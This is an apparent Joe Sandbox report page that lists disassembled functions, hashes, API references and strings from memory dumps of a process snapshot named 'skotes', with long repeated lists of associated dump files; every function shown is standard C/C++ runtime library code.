Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 23916decb8f549166b1bcf012794d4629d5e17570c4d016a215df636ea11c84c
Instruction ID: 85301709b904956bbf106849ca88843421c55035b26f213cd364b5d78c86229d
Opcode Fuzzy Hash: 23916decb8f549166b1bcf012794d4629d5e17570c4d016a215df636ea11c84c
Instruction Fuzzy Hash: 10319235A00214ABCF14EF68C8A1AFDB7F5EF44314F6049E5E911AB291EBB0ED01CA90

Function 00BB4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00BB4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00BB4E86
PMDtoOffset.LIBCMT ref: 00BB4EAC

Strings

Bad dynamic_cast!, xrefs: 00BB4EEE

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 99a24401ed846e0dc56f65af627e140f00123e8e3ea08f628b35e3be7e9f80f1
Instruction ID: 04842aba444446c23421b6b49beb11864c7cfe22b2bd3028a5501899a7f43277
Opcode Fuzzy Hash: 99a24401ed846e0dc56f65af627e140f00123e8e3ea08f628b35e3be7e9f80f1
Instruction Fuzzy Hash: F021C772A04605AFCF18DF68DD46EFA77E8FB44720B1041E9F91597282EBB1ED0086A1

Function 00BB727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00BB72BE

Strings

.exe, xrefs: 00BB72CB
.com, xrefs: 00BB72FE
.cmd, xrefs: 00BB72DC
.bat, xrefs: 00BB72ED

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 32d1ae13d8e30e28e7a55df59b0979b0bea8a93b9e006ba0e7d986433cea7c2e
Instruction ID: ec2103d65db1676e13c1001baedc8fb0aa10519d0435e10599cfe266333fe671
Opcode Fuzzy Hash: 32d1ae13d8e30e28e7a55df59b0979b0bea8a93b9e006ba0e7d986433cea7c2e
Instruction Fuzzy Hash: 440166277486222B661450189D02FF667C8CBD2BB4B2500ABFC14F76C1EFC4DC4361A4

Function 00B9FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B9FB06

Strings

SetThreadGroupAffinity, xrefs: 00B9FA87
kernel32.dll, xrefs: 00B9FA7A
GetThreadGroupAffinity, xrefs: 00B9FA93
GetCurrentProcessorNumberEx, xrefs: 00B9FABE

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 90ae351bac11b7e3e1378e046bf7090af4dd0bf003c95b30a1e949f2edd2ad9c
Instruction ID: 46abbf6d0240ee2ac9264fb8da44863c42f600ddf3253c334fa50c4a8cdc9c5b
Opcode Fuzzy Hash: 90ae351bac11b7e3e1378e046bf7090af4dd0bf003c95b30a1e949f2edd2ad9c
Instruction Fuzzy Hash: 0801286154571A3EA730BB786CC2EBB65ECDE4272873019BBF401E7272FDA5E8008264

Function 00BB2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00BB20B7

Part of subcall function 00BACAF3: Mailbox.LIBCMT ref: 00BACB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB20C8
StructuredWorkStealingQueue.LIBCMT ref: 00BB20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB210F

Strings

e, xrefs: 00BB20D9

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 68a2fb2df773055d24f455e87365d2eaf0ed1b76576becf15e1a9e5e0e7d3afa
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 46118F31500105ABDB15EF6DC8816FB77E5EF02364B5481EABC06AF202DAF1D901CBA0

Function 00B9D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00B9D0A5

Strings

kernel32.dll, xrefs: 00B9D04C
WakeAllConditionVariable, xrefs: 00B9D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B9D03B
SleepConditionVariableCS, xrefs: 00B9D05D

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
